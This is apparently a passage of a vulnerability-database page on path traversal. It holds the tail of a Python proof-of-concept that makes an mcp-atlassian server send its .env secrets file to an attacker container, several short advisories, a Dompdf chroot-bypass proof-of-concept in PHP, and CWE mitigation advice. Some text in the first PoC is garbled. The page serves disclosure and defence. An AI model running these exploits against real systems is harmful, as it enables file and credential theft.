timeout=60):\n            print(\"[FAIL] Victim server did not start in time\")\n            print(docker_logs(VICTIM_NAME))\n            sys.exit(1)\n        print(f\"[+] Victim MCP server ready on port {victim_port}\")\n\n        # \u2500\u2500 5. run the exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print()\n        print(\"[*] Launching MCP exploit...\")\n        victim_mcp_url        = f\"http://127.0.0.1:{victim_port}/mcp\"\n        attacker_container_url = f\"http://{ATTACKER_NAME}:8888\"\n\n        result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)\n\n        if not result[\"success\"]:\n            print(f\"[FAIL] MCP exploit error: {result[\u0027error\u0027]}\")\n            print(\"Victim logs:\\n\", docker_logs(VICTIM_NAME)[-2000:])\n            sys.exit(1)\n\n        print(f\"[poc] tools/call HTTP {result[\u0027status_code\u0027]}\")\n        print(f\"[poc] Response:\\n{result[\u0027response_text\u0027]}\")\n\n        # \u2500\u2500 6. verify exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        time.sleep(2)\n\n        import urllib.request\n        with urllib.request.urlopen(\n            f\"http://127.0.0.1:{attacker_port}/exfil\", timeout=5\n        ) as r:\n            exfil_data = json.loads(r.read())\n\n        attacker_raw_logs = docker_logs(ATTACKER_NAME)\n        print()\n        print(\"Attacker server logs:\")\n        print(attacker_raw_logs[-4000:])\n\n        files = exfil_data.get(\"files\", [])\n        confirmed = bool(files) or (\n            \"EXFILTRATED FILE CONTENT\" in attacker_raw_logs\n            and \"SECRET_DEPLOY_KEY\" in attacker_raw_logs\n        )\n\n        evidence_snippet = \"\"\n        if files:\n            evidence_snippet = files[0].get(\"content\", \"\")[:500]\n        elif \"EXFILTRATED FILE CONTENT START\" in attacker_raw_logs:\n            start = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT START\") + len(\"EXFILTRATED FILE CONTENT START\") + 4\n            end   = attacker_raw_logs.find(\"EXFILTRATED FILE CONTENT END\", start)\n            evidence_snippet = attacker_raw_logs[start:end].strip()[:500]\n\n        print()\n        if confirmed:\n            print(\"[PASS] file leak confirmed \u2014 attacker servertext victim containertext sensitive filetext receivedtext.\")\n            print(f\"[PASS] Evidence snippet:\\n{evidence_snippet}\")\n        else:\n            print(\"[FAIL] file leak evidencetext checktext text.\")\n            print(\"attacker_logs:\", attacker_raw_logs[-1000:])\n\n        # \u2500\u2500 7. write phase2_result.json \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        phase2 = {\n            \"passed\": confirmed,\n            \"verdict\": \"PASS\" if confirmed else \"FAIL\",\n            \"reason\": (\n                \"MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas \"\n                \"without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext \"\n                \"file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. \"\n                \"attachments.py:477 open(file_path,\u0027rb\u0027)text sensitive filetext text multipart PUT requesttext containsdone.\"\n                if confirmed else\n                \"attacker servertext file receivedtext checktext could not \u2014 logtext referenceand failure cause text required.\"\n            ),\n            \"build_command\": (\n                f\"docker build -t {VICTIM_IMAGE} \"\n                f\"-f {DOCKERFILE_PATH} {repo_path}\"\n            ),\n            \"run_command\": (\n                f\"docker network create {NETWORK_NAME} \u0026\u0026 \"\n                f\"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} \"\n                f\"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c \u0027\u003cattacker_server_src\u003e\u0027 \u0026\u0026 \"\n                f\"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} \"\n                f\"-p {victim_port}:8000 \"\n                f\"-e TRANSPORT=streamable-http \"\n                f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n                f\"-e READ_ONLY_MODE=false \"\n                f\"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0\"\n            ),\n            \"poc_command\": (\n                f\"python3 {os.path.basename(__file__)} \"\n                f\"--repo {repo_path} \"\n                f\"--victim-port {victim_port} \"\n                f\"--attacker-port {attacker_port}\"\n            ),\n            \"evidence\": evidence_snippet or attacker_raw_logs[-500:],\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        }\n\n        result_path = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n        with open(result_path, \"w\") as f:\n            json.dump(phase2, f, indent=2, ensure_ascii=False)\n        print(f\"\\n[*] phase2_result.json written: {result_path}\")\n\n    finally:\n        if not args.no_cleanup:\n            print(\"[*] Cleaning up containers and network...\")\n            cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n            print(\"[*] Cleanup done.\")\n        else:\n            print(f\"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})\")\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-wv8v-v4c5-v75j",
  "modified": "2026-09-22T20:34:45Z",
  "published": "2026-09-22T20:34:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path"
}

GHSA-WV95-V394-M64M

Vulnerability from github – Published: 2022-05-01 18:35 – Updated: 2022-05-01 18:35
VLAI
Details

Multiple directory traversal vulnerabilities in PHP Project Management 0.8.10 and earlier allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in (1) the def_lang parameter to modules/files/list.php; the m_path parameter to (2) modules/projects/summary.inc.php or (3) modules/tasks/summary.inc.php; (4) the module parameter to modules/projects/list.php; or the module parameter to index.php in the (5) certinfo, (6) emails, (7) events, (8) fax, (9) files, (10) groupadm, (11) history, (12) info, (13) log, (14) mail, (15) messages, (16) organizations, (17) phones, (18) presence, (19) projects, (20) reports, (21) search, (22) snf, (23) syslog, (24) tasks, or (25) useradm subdirectory of modules/.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-5642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-10-23T21:47:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple directory traversal vulnerabilities in PHP Project Management 0.8.10 and earlier allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in (1) the def_lang parameter to modules/files/list.php; the m_path parameter to (2) modules/projects/summary.inc.php or (3) modules/tasks/summary.inc.php; (4) the module parameter to modules/projects/list.php; or the module parameter to index.php in the (5) certinfo, (6) emails, (7) events, (8) fax, (9) files, (10) groupadm, (11) history, (12) info, (13) log, (14) mail, (15) messages, (16) organizations, (17) phones, (18) presence, (19) projects, (20) reports, (21) search, (22) snf, (23) syslog, (24) tasks, or (25) useradm subdirectory of modules/.",
  "id": "GHSA-wv95-v394-m64m",
  "modified": "2022-05-01T18:35:23Z",
  "published": "2022-05-01T18:35:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5642"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37348"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4549"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41951"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41954"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41955"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41956"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41960"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41963"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41970"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41972"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41974"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/41975"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27347"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26148"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WV98-QFFC-CVMJ

Vulnerability from github – Published: 2026-09-27 18:30 – Updated: 2026-09-27 18:30
VLAI
Details

Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-101051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-27T18:16:31Z",
    "severity": "LOW"
  },
  "details": "Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.",
  "id": "GHSA-wv98-qffc-cvmj",
  "modified": "2026-09-27T18:30:23Z",
  "published": "2026-09-27T18:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101051"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/cloudreve-before-4.16.1-path-traversal-via-remote-download"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WV99-66Q7-V8JF

Vulnerability from github – Published: 2022-05-01 23:53 – Updated: 2022-05-01 23:53
VLAI
Details

Directory traversal vulnerability in index.php in Traindepot 0.1 allows remote attackers to read arbitrary files via a .. (dot dot) in the module parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-2838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-06-24T19:41:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in index.php in Traindepot 0.1 allows remote attackers to read arbitrary files via a .. (dot dot) in the module parameter.",
  "id": "GHSA-wv99-66q7-v8jf",
  "modified": "2022-05-01T23:53:59Z",
  "published": "2022-05-01T23:53:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2838"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43159"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5848"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29790"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WVG2-XPP5-J725

Vulnerability from github – Published: 2026-09-20 21:31 – Updated: 2026-09-20 21:31
VLAI
Details

A vulnerability was identified in 03-lovepreetSingh MCP up to f95d035c5317fad81af9828286631053ccb23546. This issue affects the function create_file of the file app/api/mcp/route.ts. Such manipulation of the argument filePath/content leads to path traversal. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-94044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-20T19:17:12Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in 03-lovepreetSingh MCP up to f95d035c5317fad81af9828286631053ccb23546. This issue affects the function create_file of the file app/api/mcp/route.ts. Such manipulation of the argument filePath/content leads to path traversal. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-wvg2-xpp5-j725",
  "modified": "2026-09-20T21:31:33Z",
  "published": "2026-09-20T21:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94044"
    },
    {
      "type": "WEB",
      "url": "https://github.com/03-lovepreetSingh/MCP/issues/3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/03-lovepreetSingh/MCP"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-94044"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/949284"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/407973"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/407973/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WVH6-F5JH-8GW4

Vulnerability from github – Published: 2026-07-22 21:06 – Updated: 2026-07-22 21:06
VLAI
Summary
Dompdf: Chroot Validation Bypass
Details

Summary

The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.

This allows attacker-controlled document paths/resources to bypass intended local file restrictions.

Details

The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:

    public function validateLocalUri(string $uri)
    {
        ...
        $realfile = realpath(str_replace("file://", "", $uri));
        ...
        foreach ($dirs as $chrootPath) {
            $chrootPath = realpath($chrootPath);
            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
                $chrootValid = true;

Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.

For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.

PoC

With a directory structure similar to:

/home/dompdf/
  |--> web/
        |--> pdf.php
        |--> cat0.jpg
  |--> web-admin/
        |--> cat1.jpg

And web-accessible Dompdf functionality similar to the following (poc.html):

<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);

$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>

A malicious actor can exploit the vulnerability with the following script:

$html = <<<HTML
<!DOCTYPE html>
<html>
    <body>
        <p>within chroot</p>
            <img src="/home/dompdf/web/cat0.jpg">
        <p>outside of chroot</p>
            <img src="/home/dompdf/web-admin/cat1.jpg">
    </body>
</html>
HTML;

$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
    'http' => [
        'header' => $headers,
        'method' => 'POST',
        'content' => http_build_query($data),
        'ignore_errors' => true,
    ],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.

Impact

An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:06:48Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\nThe chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.\n\nThis allows attacker-controlled document paths/resources to bypass intended local file restrictions.\n\n### Details\nThe `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:\n\n\n```\n    public function validateLocalUri(string $uri)\n    {\n        ...\n        $realfile = realpath(str_replace(\"file://\", \"\", $uri));\n        ...\n        foreach ($dirs as $chrootPath) {\n            $chrootPath = realpath($chrootPath);\n            if ($chrootPath !== false \u0026\u0026 strpos($realfile, $chrootPath) === 0) {\n                $chrootValid = true;\n```\n\nDue to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of  `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.\n\nFor example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.\n\n### PoC\n\nWith a directory structure similar to:\n\n```\n/home/dompdf/\n  |--\u003e web/\n        |--\u003e pdf.php\n        |--\u003e cat0.jpg\n  |--\u003e web-admin/\n        |--\u003e cat1.jpg\n```\n\nAnd web-accessible Dompdf functionality similar to the following (poc.html):\n\n```\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options-\u003esetChroot([\u0027/home/dompdf/web/\u0027]);\n$dompdf = new Dompdf($options);\n\n$dompdf-\u003eloadHtml($_POST[\u0027html\u0027]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n?\u003e\n```\n\nA malicious actor can exploit the vulnerability with the following script:\n\n```\n$html = \u003c\u003c\u003cHTML\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003cbody\u003e\n        \u003cp\u003ewithin chroot\u003c/p\u003e\n            \u003cimg src=\"/home/dompdf/web/cat0.jpg\"\u003e\n        \u003cp\u003eoutside of chroot\u003c/p\u003e\n            \u003cimg src=\"/home/dompdf/web-admin/cat1.jpg\"\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\nHTML;\n\n$url = \u0027http://example.com/poc.php\u0027;\n$data = [\u0027html\u0027 =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key \u0027http\u0027 even if you send the request to https://...\n$options = [\n    \u0027http\u0027 =\u003e [\n        \u0027header\u0027 =\u003e $headers,\n        \u0027method\u0027 =\u003e \u0027POST\u0027,\n        \u0027content\u0027 =\u003e http_build_query($data),\n        \u0027ignore_errors\u0027 =\u003e true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\nWhen the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.\n\n### Impact\nAn attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.",
  "id": "GHSA-wvh6-f5jh-8gw4",
  "modified": "2026-07-22T21:06:48Z",
  "published": "2026-07-22T21:06:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-wvh6-f5jh-8gw4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dompdf: Chroot Validation Bypass"
}

GHSA-WVHQ-6M88-M4CX

Vulnerability from github – Published: 2022-11-04 19:01 – Updated: 2022-11-05 12:00
VLAI
Details

A CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists that allows adversaries with local user privileges to load a malicious DLL which could lead to execution of malicious code. Affected Products: EcoStruxure Operator Terminal Expert(V3.3 Hotfix 1 or prior), Pro-face BLUE(V3.3 Hotfix1 or prior).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-04T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability exists that allows adversaries with local user privileges to load a malicious DLL which could lead to execution of malicious code. Affected Products: EcoStruxure Operator Terminal Expert(V3.3 Hotfix 1 or prior), Pro-face BLUE(V3.3 Hotfix1 or prior).",
  "id": "GHSA-wvhq-6m88-m4cx",
  "modified": "2022-11-05T12:00:20Z",
  "published": "2022-11-04T19:01:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41667"
    },
    {
      "type": "WEB",
      "url": "https://www.se.com/ww/en/download/document/SEVD-2022-284-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

